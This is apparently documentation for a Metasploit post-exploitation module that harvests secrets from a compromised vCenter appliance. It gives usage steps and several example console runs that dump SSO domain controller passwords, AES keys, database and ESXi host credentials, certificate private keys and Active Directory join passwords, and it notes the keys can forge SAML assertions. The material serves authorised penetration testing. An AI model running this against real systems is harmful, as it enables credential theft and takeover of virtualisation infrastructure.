## Vulnerable Application Grab secrets and keys from the vCenter server and add them to loot. Secrets include the dcAccountDN and dcAccountPassword for the vCenter machine which can be used for manipulating the SSO domain via standard LDAP interface; good for plugging into the vmware_vcenter_vmdir_ldap module or for adding new SSO admin users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with associated private keys are also plundered and can be used to sign forged SAML assertions for the /ui admin interface. ## Vulnerable Application This module is tested against the vCenter appliance only; it will not work on Windows vCenter instances. It is intended to be run after successfully acquiring root access on a vCenter appliance and is useful for penetrating further into the environment following a vCenter exploit that results in a root shell. This module has been tested against vCenter appliance versions 7.0 and 6.7 but will probably work against other versions of vCenter appliance. ## Verification Steps This is a post module and requires a meterpreter or shell session on the vCenter appliance with root access. 1. Start msfconsole 2. Get session on vCenter appliance via exploit of your choice and background it 3. Do: `use post/linux/gather/vcenter_secrets_dump` 4. Do: `set session ` 5. Do: `dump` ## Options ## Advanced Options ### DUMP_VMDIR Boolean value that controls whether the module will attempt to extract vSphere SSO domain information, including SSO user hashes and a complete LDIF dump of the SSO directory. Defaults to true. ### DUMP_VMAFD Boolean value that controls whether the module will attempt to extract vSphere certificates, private keys, and secrets. Defaults to true. ### DUMP_SPEC If DUMP_VMAFD is also true, attempt to extract VM Guest Customization secrets from PSQL using the DATA-ENCIPHERMENT key extracted from VMAFD. Defaults to true. ## Scenarios Example run from meterpreter session on vCenter appliance version 7.0 U3d ``` msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump msf6 post(linux/gather/vcenter_secrets_dump) > set session 1 session => 1 msf6 post(linux/gather/vcenter_secrets_dump) > dump [*] vSphere Hostname and IPv4: vcenterdelta.cesium137.io [192.168.100.70] [*] VMware VirtualCenter 7.0.3 build-19480866 [*] Embedded Platform Service Controller [*] Gathering vSphere SSO domain information ... [+] vSphere SSO DC DN: cn=vcenterdelta.cesium137.io,ou=Domain Controllers,dc=delta,dc=vsphere,dc=local [+] vSphere SSO DC PW: *6{ K3Ei*@ ``` Example run from meterpreter session on vCenter appliance version 6.0 U3j ``` msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump msf6 post(linux/gather/vcenter_secrets_dump) > set session 1 session => 1 msf6 post(linux/gather/vcenter_secrets_dump) > dump [*] vSphere Hostname and IPv4: vcenteralpha.cesium137.io [192.168.100.60] [*] VMware VirtualCenter 6.0.0 build-14510547 [*] Embedded Platform Service Controller [*] Gathering vSphere SSO domain information ... [+] vSphere SSO DC DN: cn=vcenteralpha.cesium137.io,ou=Domain Controllers,dc=alpha,dc=vsphere,dc=local [+] vSphere SSO DC PW: d%>D3'i@rAj}!" HEX: 283e64253e443327694072416a7d2122 [*] Extract vmware-vpx AES key ... [+] vSphere vmware-vpx AES encryption HEX: acdeb90515681eb8c357e3a94312106934f174324c39d1deb012337effc124de [*] Extracting PostgreSQL database credentials ... [+] VCDB Name: VCDB [+] VCDB User: vc [+] VCDB Pass: 4yFcqZ2$m^&H ``` Example run from meterpreter session on vCenter appliance version 6.5 U3q, configured with an external PSC ``` msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump msf6 post(linux/gather/vcenter_secrets_dump) > set session 1 session => 1 msf6 post(linux/gather/vcenter_secrets_dump) > dump [*] vSphere Hostname and IPv4: vctr01.cesium137.io [192.168.0.111] [*] VMware VirtualCenter 6.5.0 build-18499837 [!] External Platform Service Controller: psc01.cesium137.io [!] This module assumes embedded PSC, functionality will be limited [*] Gathering vSphere SSO domain information ... [+] vSphere SSO DC DN: cn=vctr01.cesium137.io,ou=Computers,dc=vsphere,dc=local [+] vSphere SSO DC PW: *Pz[aO0Udli"%mbt%`Gn [*] Extract vmware-vpx AES key ... [+] vSphere vmware-vpx AES encryption HEX: db5beca47d9bb7af5da5278aeeee4b0a83076670736c46546f77a1ddfbe54f2e [*] Extracting PostgreSQL database credentials ... [+] VCDB Name: VCDB [+] VCDB User: vc [+] VCDB Pass: cq1=+*f(gTQZ_6)Y [*] Extract ESXi host vpxuser credentials ... [+] ESXi Host esxi01.cesium137.io [192.168.0.101] LOGIN: vpxuser PASS: 13M\.3LCb36n8:=_847HzS}U:c9@d65= [+] ESXi Host esxi02.cesium137.io [192.168.0.102] LOGIN: vpxuser PASS: -0fQviFI0f}C@8:v3y[jP[\C{lqU8.kL [+] ESXi Host esxi03.cesium137.io [192.168.0.103] LOGIN: vpxuser PASS: .TB4/OEr3H^pM.kj4a^-]0Z:_TWl{=_H [*] Extracting vSphere SSO domain secrets ... [*] Dumping vmdir schema to LDIF ... [+] LDIF Dump: /home/cs137/.msf4/loot/20220505083154_default_192.168.0.111_vmdir_383063.ldif [*] Processing vmdir LDIF (this may take several minutes) ... [*] Processing LDIF entries ... [*] Processing SSO account hashes ... [!] No password hashes found [*] Processing SSO identity sources ... [!] No SSO ID provider information found [*] Extracting certificates from vSphere platform ... [+] MACHINE_SSL_CERT key: /home/cs137/.msf4/loot/20220505083156_default_192.168.0.111___MACHINE_CERT_323341.key [+] MACHINE_SSL_CERT cert: /home/cs137/.msf4/loot/20220505083156_default_192.168.0.111___MACHINE_CERT_255826.pem [+] MACHINE key: /home/cs137/.msf4/loot/20220505083158_default_192.168.0.111_machine_248465.key [+] MACHINE cert: /home/cs137/.msf4/loot/20220505083159_default_192.168.0.111_machine_130920.pem [+] VSPHERE-WEBCLIENT key: /home/cs137/.msf4/loot/20220505083200_default_192.168.0.111_vspherewebclien_019114.key [+] VSPHERE-WEBCLIENT cert: /home/cs137/.msf4/loot/20220505083201_default_192.168.0.111_vspherewebclien_777853.pem [+] VPXD key: /home/cs137/.msf4/loot/20220505083202_default_192.168.0.111_vpxd_846784.key [+] VPXD cert: /home/cs137/.msf4/loot/20220505083202_default_192.168.0.111_vpxd_796349.pem [+] VPXD-EXTENSION key: /home/cs137/.msf4/loot/20220505083204_default_192.168.0.111_vpxdextension_570408.key [+] VPXD-EXTENSION cert: /home/cs137/.msf4/loot/20220505083204_default_192.168.0.111_vpxdextension_490761.pem [+] SMS key: /home/cs137/.msf4/loot/20220505083206_default_192.168.0.111_sms_self_signed_278681.key [+] SMS cert: /home/cs137/.msf4/loot/20220505083206_default_192.168.0.111_sms_self_signed_163386.pem [*] Searching for secrets in VM Guest Customization Specification XML ... [*] Processing vpx_customization_spec 'Windows 2019 Datacenter' ... [*] Validating data encipherment key ... [*] Initial administrator account password found for vpx_customization_spec 'Windows 2019 Datacenter': [+] Initial Admin PW: IAmSam! [*] AD domain join account found for vpx_customization_spec 'Windows 2019 Datacenter': [+] AD User: sam@cesium137.io [+] AD Pass: Gr33n3gg$! [*] Post module execution completed ``` Example run from meterpreter session on vCenter appliance version 6.7 build-18831049 ``` msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump msf6 post(linux/gather/vcenter_secrets_dump) > set session 1 session => 1 msf6 post(linux/gather/vcenter_secrets_dump) > run [*] VMware VirtualCenter 6.7.0 build-18831049 [*] vCenter Appliance (Embedded) [*] Validating target [*] Appliance IPv4: 2.2.2.2 [*] Appliance Hostname: photon-machine.ragedomain [*] Appliance OS: VMware Photon Linux 1.0-62c543d [*] Gathering vSphere SSO domain information [+] vSphere SSO DC DN: cn=photon-machine.ragedomain,ou=Domain Controllers,dc=vsphere,dc=local [+] vSphere SSO DC PW: )sM8M]h,YZBQ:kY['h^( [*] Extracting tenant and vpx AES encryption key... [+] vSphere Tenant AES encryption [+] KEY: ]E6"Jg7V}d{!Q:Lh [+] HEX: 5d4536224a6737567d647b21513a4c68 [+] vSphere vmware-vpx AES encryption [+] HEX: ac20416a5850df52f1bf889440995871ba52984a893dbe44fd71c5c768aea3be [*] Extracting PostgreSQL database credentials [+] VCDB Name: VCDB [+] VCDB User: vc [+] VCDB Pass: MB&|<)haN6Q>{K3O [*] Checking for VPX Users [-] No VPXUSER entries were found [*] Extract ESXi host vpxuser credentials [!] No ESXi hosts attached to this vCenter system [*] Extracting vSphere SSO domain secrets [*] Dumping vmdir schema to LDIF and storing to loot... [!] Unable to retrieve ldif contents WARNING: there is already a transaction in progress [-] Error processing LDIF file [*] Extracting certificates from vSphere platform [+] VMCA_ROOT key: /root/.msf4/loot/20221102165124_default_2.2.2.2_vmca_523828.key [+] VMCA_ROOT cert: /root/.msf4/loot/20221102165124_default_2.2.2.2_vmca_694934.pem [+] SSO_STS_IDP key: /root/.msf4/loot/20221102165125_default_2.2.2.2_idp_031902.key [+] SSO_STS_IDP cert: /root/.msf4/loot/20221102165125_default_2.2.2.2_idp_256763.pem [+] MACHINE_SSL_CERT Key: /root/.msf4/loot/20221102165126_default_2.2.2.2___MACHINE_CERT_448485.key [+] MACHINE_SSL_CERT Cert: /root/.msf4/loot/20221102165126_default_2.2.2.2___MACHINE_CERT_793765.pem [+] MACHINE Key: /root/.msf4/loot/20221102165127_default_2.2.2.2_machine_336860.key [+] MACHINE Cert: /root/.msf4/loot/20221102165127_default_2.2.2.2_machine_588424.pem [+] VSPHERE-WEBCLIENT Key: /root/.msf4/loot/20221102165127_default_2.2.2.2_vspherewebclien_567378.key [+] VSPHERE-WEBCLIENT Cert: /root/.msf4/loot/20221102165127_default_2.2.2.2_vspherewebclien_997605.pem [+] VPXD Key: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxd_521342.key [+] VPXD Cert: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxd_415704.pem [+] VPXD-EXTENSION Key: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxdextension_152066.key [+] VPXD-EXTENSION Cert: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxdextension_359784.pem [+] DATA-ENCIPHERMENT Key: /root/.msf4/loot/20221102165129_default_2.2.2.2_dataenciphermen_517854.key [+] DATA-ENCIPHERMENT Cert: /root/.msf4/loot/20221102165129_default_2.2.2.2_dataenciphermen_408460.pem [+] SMS Key: /root/.msf4/loot/20221102165130_default_2.2.2.2_sms_self_signed_777691.key [+] SMS Cert: /root/.msf4/loot/20221102165130_default_2.2.2.2_sms_self_signed_215695.pem [*] Searching for secrets in VM Guest Customization Specification XML [!] No vpx_customization_spec entries evident [*] Retrieving .pgpass file [+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for localhost:replication [+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for 127.0.0.1:replication [+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for /var/run/vpostgres:replication [+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for localhost:postgres [+] posgres database creds found: postgres, md5fdb13b980a01e3d1ae99b5b55b6e4303 [+] posgres database creds found: replicator, md5c2a01981014a380b63c0c7c66ad77ba9 [+] posgres database creds found: vc, md53b5a9fc0dd6c99567e9ca27c459b43d9 [+] posgres database creds found: vumuser, md5fc719b1b56f02981027379fd15125feb [+] posgres database creds found: cns, md5d92e4534c059354dee12a7cc9a79faff [+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for 127.0.0.1:postgres [+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for localhost:VCDB [+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for 127.0.0.1:VCDB [+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:VCDB [+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:postgres [+] Saving the /root/.pgpass contents to /root/.msf4/loot/20221102165131_default_2.2.2.2_.pgpass_509065.txt [*] Post module execution completed ```